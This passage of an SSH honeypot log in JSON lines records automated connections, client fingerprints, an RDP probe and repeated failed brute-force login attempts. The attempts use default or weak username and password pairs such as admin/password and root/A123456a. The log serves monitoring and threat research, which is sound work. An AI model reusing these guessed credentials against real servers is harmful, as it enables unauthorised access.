a-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:52.634068Z","src_ip":"83.168.110.85","session":"b81b6694d221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:53.157072Z","src_ip":"83.168.110.85","session":"b81b6694d221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51233,"dst_ip":"10.17.0.5","dst_port":22,"session":"08a11bceb2ba","protocol":"ssh","message":"New connection: 152.42.212.128:51233 (10.17.0.5:22) [session: 08a11bceb2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:53.386772Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:53.392450Z","src_ip":"152.42.212.128","session":"08a11bceb2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:53.400367Z","src_ip":"152.42.212.128","session":"08a11bceb2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:59:54.281013Z","src_ip":"83.168.110.85","session":"b81b6694d221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56362,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3520643fe19","protocol":"ssh","message":"New connection: 83.168.110.85:56362 (159.203.135.109:22) [session: e3520643fe19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:03.395526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:03.403427Z","src_ip":"83.168.110.85","session":"e3520643fe19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:03.528290Z","src_ip":"83.168.110.85","session":"e3520643fe19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:03.905216Z","src_ip":"83.168.110.85","session":"e3520643fe19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:05.048421Z","src_ip":"83.168.110.85","session":"e3520643fe19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45440,"dst_ip":"159.203.135.109","dst_port":22,"session":"378b4dd2ab57","protocol":"ssh","message":"New connection: 83.168.110.85:45440 (159.203.135.109:22) [session: 378b4dd2ab57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:13.935894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:13.943130Z","src_ip":"83.168.110.85","session":"378b4dd2ab57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:14.071407Z","src_ip":"83.168.110.85","session":"378b4dd2ab57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:14.449550Z","src_ip":"83.168.110.85","session":"378b4dd2ab57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:15.731705Z","src_ip":"83.168.110.85","session":"378b4dd2ab57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":54878,"dst_ip":"10.17.0.5","dst_port":22,"session":"99ffddddcbf0","protocol":"ssh","message":"New connection: 4.184.246.230:54878 (10.17.0.5:22) [session: 99ffddddcbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:21.285012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:21.303922Z","src_ip":"4.184.246.230","session":"99ffddddcbf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:21.385970Z","src_ip":"4.184.246.230","session":"99ffddddcbf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrea123","message":"login attempt [root/andrea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:21.759471Z","src_ip":"4.184.246.230","session":"99ffddddcbf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:22.849596Z","src_ip":"4.184.246.230","session":"99ffddddcbf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52488,"dst_ip":"159.203.135.109","dst_port":22,"session":"37f909accdd0","protocol":"ssh","message":"New connection: 83.168.110.85:52488 (159.203.135.109:22) [session: 37f909accdd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:24.326303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:24.332928Z","src_ip":"83.168.110.85","session":"37f909accdd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:24.524078Z","src_ip":"83.168.110.85","session":"37f909accdd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:24.890971Z","src_ip":"83.168.110.85","session":"37f909accdd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:26.087394Z","src_ip":"83.168.110.85","session":"37f909accdd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57402,"dst_ip":"159.203.135.109","dst_port":22,"session":"44222e0a2f14","protocol":"ssh","message":"New connection: 83.168.110.85:57402 (159.203.135.109:22) [session: 44222e0a2f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:34.865250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:34.871085Z","src_ip":"83.168.110.85","session":"44222e0a2f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:34.994265Z","src_ip":"83.168.110.85","session":"44222e0a2f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:35.385270Z","src_ip":"83.168.110.85","session":"44222e0a2f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:36.510695Z","src_ip":"83.168.110.85","session":"44222e0a2f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38736,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c94104e742e","protocol":"ssh","message":"New connection: 83.168.110.85:38736 (159.203.135.109:22) [session: 6c94104e742e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:45.422750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:45.429480Z","src_ip":"83.168.110.85","session":"6c94104e742e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:45.554343Z","src_ip":"83.168.110.85","session":"6c94104e742e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:45.919286Z","src_ip":"83.168.110.85","session":"6c94104e742e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":55806,"dst_ip":"10.17.0.5","dst_port":22,"session":"026f37fd71b7","protocol":"ssh","message":"New connection: 103.183.114.55:55806 (10.17.0.5:22) [session: 026f37fd71b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:46.679948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:46.688140Z","src_ip":"103.183.114.55","session":"026f37fd71b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:46.911762Z","src_ip":"103.183.114.55","session":"026f37fd71b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:47.046286Z","src_ip":"83.168.110.85","session":"6c94104e742e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assasin","message":"login attempt [root/assasin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:47.581915Z","src_ip":"103.183.114.55","session":"026f37fd71b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:48.807979Z","src_ip":"103.183.114.55","session":"026f37fd71b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42330,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c636ebe1273","protocol":"ssh","message":"New connection: 193.32.162.151:42330 (159.203.135.109:22) [session: 8c636ebe1273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:52.052621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:00:52.061584Z","src_ip":"193.32.162.151","session":"8c636ebe1273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 